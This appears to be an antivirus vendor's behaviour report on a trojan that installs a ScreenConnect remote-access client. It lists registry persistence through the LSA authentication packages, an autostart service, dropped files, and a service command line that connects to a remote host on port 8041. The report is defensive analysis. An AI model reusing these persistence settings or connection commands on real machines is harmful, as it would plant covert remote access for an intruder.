Trojan.Siggen32.47097

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[HKLM\SOFTWARE\Classes\sc-c9105a85a5f90764\shell\open\command] '' = '"%ProgramFiles(x86)%\ScreenConnect Client (c9105a85a5f90764)\ScreenConnect.WindowsClient.exe" "%1"'
[HKLM\SYSTEM\CurrentControlSet\Control\Lsa] 'Authentication Packages' = 'msv1_0\n%ProgramFiles(x86)%\ScreenConnect Client (c9105a85a5f90764)\ScreenConnect.WindowsAuthenticationPackage.dll'

Sets the following service settings

[HKLM\SYSTEM\CurrentControlSet\Services\ScreenConnect Client (c9105a85a5f90764)] 'Start' = '00000002'
[HKLM\SYSTEM\CurrentControlSet\Services\ScreenConnect Client (c9105a85a5f90764)] 'ImagePath' = '"%ProgramFiles(x86)%\ScreenConnect Client (c9105a85a5f90764)\ScreenConnect.ClientService.exe" "?e...

Creates the following services

'ScreenConnect Client (c9105a85a5f90764)' %ProgramFiles(x86)%\ScreenConnect Client (c9105a85a5f90764)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=147.124.195.76&p=8041&s=0d98fb07-1951-4220-9381-97ed64f2923d&k=BgIAAACkAABSU0Ex...

Modifies file system

Creates the following files

%LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\<File name>.exe.log
%TEMP%\msi258.tmp-\screenconnect.installeractions.dll
%TEMP%\msi258.tmp-\microsoft.deployment.windowsinstaller.dll
%TEMP%\msi258.tmp-\microsoft.deployment.windowsinstaller.package.dll
%TEMP%\msi258.tmp-\screenconnect.core.dll
%TEMP%\msi258.tmp-\screenconnect.windows.dll
%TEMP%\msi258.tmp-\microsoft.deployment.compression.dll
%TEMP%\msi258.tmp-\microsoft.deployment.compression.cab.dll
%TEMP%\msi258.tmp-\customaction.config
%LOCALAPPDATA%\microsoft\clr_v4.0_32\usagelogs\rundll32.exe.log
%WINDIR%\temp\~df8b6693502699a2be.tmp
%WINDIR%\installer\sourcehash{361648f0-4fc7-645f-80e9-0447110f7c9e}
%WINDIR%\temp\~dffef2794e235ee63b.tmp
%WINDIR%\temp\~df8501525323b31f64.tmp
%WINDIR%\temp\~df706874667df66883.tmp
%ProgramFiles(x86)%\screenconnect client (c9105a85a5f90764)\screenconnect.client.dll
%ProgramFiles(x86)%\screenconnect client (c9105a85a5f90764)\screenconnect.clientservice.dll
%ProgramFiles(x86)%\screenconnect client (c9105a85a5f90764)\screenconnect.core.dll
%ProgramFiles(x86)%\screenconnect client (c9105a85a5f90764)\screenconnect.windows.dll
%ProgramFiles(x86)%\screenconnect client (c9105a85a5f90764)\screenconnect.windowsauthenticationpackage.dll
%ProgramFiles(x86)%\screenconnect client (c9105a85a5f90764)\screenconnect.windowsbackstageshell.exe
%ProgramFiles(x86)%\screenconnect client (c9105a85a5f90764)\screenconnect.windowsbackstageshell.exe.config
%ProgramFiles(x86)%\screenconnect client (c9105a85a5f90764)\screenconnect.windowsclient.exe
%ProgramFiles(x86)%\screenconnect client (c9105a85a5f90764)\screenconnect.windowsclient.exe.config
%ProgramFiles(x86)%\screenconnect client (c9105a85a5f90764)\screenconnect.windowscredentialprovider.dll
%ProgramFiles(x86)%\screenconnect client (c9105a85a5f90764)\screenconnect.windowsfilemanager.exe
%ProgramFiles(x86)%\screenconnect client (c9105a85a5f90764)\screenconnect.windowsfilemanager.exe.config
%ProgramFiles(x86)%\screenconnect client (c9105a85a5f90764)\screenconnect.clientservice.exe
%ProgramFiles(x86)%\screenconnect client (c9105a85a5f90764)\app.config
%ProgramFiles(x86)%\screenconnect client (c9105a85a5f90764)\client.en-us.resources
%ProgramFiles(x86)%\screenconnect client (c9105a85a5f90764)\client.resources
%ProgramFiles(x86)%\screenconnect client (c9105a85a5f90764)\system.config
%WINDIR%\installer\{361648f0-4fc7-645f-80e9-0447110f7c9e}\defaulticon
%WINDIR%\temp\~df06ac8326e68b21e8.tmp
%WINDIR%\temp\~dffc5c4a1b45cb3ce8.tmp
%WINDIR%\temp\~dfa9f5f6ccf98ef4de.tmp
%WINDIR%\temp\~df7ceec018d0613229.tmp
%WINDIR%\temp\~df2818e9c4cad86d7f.tmp
%WINDIR%\temp\~df1d6c17ddb4a53e32.tmp
%WINDIR%\temp\~df5e1fdcbb948241d0.tmp
%WINDIR%\temp\~dff0a64e5b14028fc1.tmp
%WINDIR%\syswow64\config\systemprofile\appdata\local\screenconnect client (c9105a85a5f90764)\nklrd3qm.newcfg
%TEMP%\content\2236-2164-screenconnect.windowsclient.exe-21-28-17-704.dump
%TEMP%\content\2236-2164-screenconnect.windowsclient.exe-21-28-17-819.dump
%TEMP%\content\2236-2164-screenconnect.windowsclient.exe-21-28-17-864.dump
%WINDIR%\temp\content\4856-1120-screenconnect.windowsclient.exe-21-28-21-502.dump
%WINDIR%\temp\content\4856-1120-screenconnect.windowsclient.exe-21-28-21-571.dump

Deletes following files that it created itself

%TEMP%\msi258.tmp-\customaction.config
%TEMP%\msi258.tmp-\microsoft.deployment.compression.cab.dll
%TEMP%\msi258.tmp-\microsoft.deployment.compression.dll
%TEMP%\msi258.tmp-\microsoft.deployment.windowsinstaller.dll
%TEMP%\msi258.tmp-\microsoft.deployment.windowsinstaller.package.dll
%TEMP%\msi258.tmp-\screenconnect.core.dll
%TEMP%\msi258.tmp-\screenconnect.installeractions.dll
%TEMP%\msi258.tmp-\screenconnect.windows.dll

Moves the following files

from %WINDIR%\syswow64\config\systemprofile\appdata\local\screenconnect client (c9105a85a5f90764)\nklrd3qm.newcfg to %WINDIR%\syswow64\config\systemprofile\appdata\local\screenconnect client (c9105a85a5f90764)\user.config

Network activity

Connects to

'14#.#24.195.76':8041

TCP

Other

'14#.#24.195.76':8041

Miscellaneous

Creates and executes the following

'%ProgramFiles(x86)%\screenconnect client (c9105a85a5f90764)\screenconnect.clientservice.exe' "?e=Access&y=Guest&h=14#.#24.195.76&p=8041&s=0d98fb07-1951-4220-9381-97ed64f2923d&k=BgIAAACkAABSU0ExAAgAAAEAAQApcV%2fu6Axqc9PLhewbs63ze%2b2rTFkPPnZU0V%2fiwj0EOXVK2QfPTFS0zakriDjEkTD6uscRzfKk3Ov...
'%ProgramFiles(x86)%\screenconnect client (c9105a85a5f90764)\screenconnect.windowsclient.exe' "RunRole" "b3f3bac3-ce8f-4400-8676-d9405ab6fcdc" "User"
'%ProgramFiles(x86)%\screenconnect client (c9105a85a5f90764)\screenconnect.windowsclient.exe' "RunRole" "5126f6b4-731f-4dfd-8f43-13076298fd47" "System"

Executes the following

'%WINDIR%\syswow64\rundll32.exe' "%TEMP%\MSI258.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_984484 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments